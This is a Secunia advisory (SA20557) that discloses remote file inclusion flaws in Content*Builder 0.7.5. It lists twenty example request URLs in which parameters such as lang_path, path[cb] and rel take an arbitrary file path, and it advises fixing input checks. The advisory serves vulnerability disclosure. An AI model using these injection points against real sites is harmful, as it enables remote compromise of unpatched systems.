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TITLE:
Content*Builder File Inclusion Vulnerabilities

SECUNIA ADVISORY ID:
SA20557

VERIFY ADVISORY:
http://secunia.com/advisories/20557/

CRITICAL:
Highly critical

IMPACT:
System access

WHERE:
>From remote

SOFTWARE:
Content*Builder 0.x
http://secunia.com/product/10437/

DESCRIPTION:
Federico Fazzi has reported some vulnerabilities in Content*Builder,
which can be exploited by malicious people to compromise a vulnerable
system.

Some input isn't properly verified, before it is used to include
files. This can be exploited to include arbitrary files from external
and local resources.

Examples:
http://[host]/cms/plugins/col_man/column.inc.php?lang_path=[file]
http://[host]/cms/plugins/poll/poll.inc.php?lang_path=[file]
http://[host]/cms/plugins/user_managment/usrPortrait.inc.php?lang_path=[file]
http://[host]/cms/plugins/user_managment/user.inc.php?lang_path=[file]
http://[host]/cms/plugins/media_manager/media.inc.php?lang_path=[file]
http://[host]/cms/plugins/events/permanent.eventMonth.inc.php?lang_path=[file]
http://[host]/cms/plugins/events/events.inc.php?lang_path=[file]
http://[host]/cms/plugins/newsletter2/newsletter.inc.php?lang_path=[file]
http://[host]/modules/guestbook/guestbook.inc.php?path[cb]=[file]
http://[host]/modules/shoutbox/shoutBox.php?path[cb]=[file]
http://[host]/modules/download/overview.inc.php?rel=[file]
http://[host]/modules/download/detailView.inc.php?rel=[file]
http://[host]/modules/sitemap/sitemap.inc.php?path[cb]=[file]
http://[host]/modules/article/fullarticle.inc.php?rel=[file]
http://[host]/modules/article/comments.inc.php?rel=[file]
http://[host]/modules/article2/overview.inc.php?rel=[file]
http://[host]/modules/article2/fullarticle.inc.php?rel=[file]
http://[host]/modules/article2/comments.inc.php?rel=[file]
http://[host]/modules/headline/headlineBox.php?rel=[file]
http://[host]/modules/headline/showHeadline.inc.php?rel=[file]

The vulnerabilities have been reported in version 0.7.5. Other
versions may also be affected.

SOLUTION:
Edit the source code to ensure that input is properly verified.

PROVIDED AND/OR DISCOVERED BY:
Federico Fazzi

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About:
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http://secunia.com/about_secunia_advisories/


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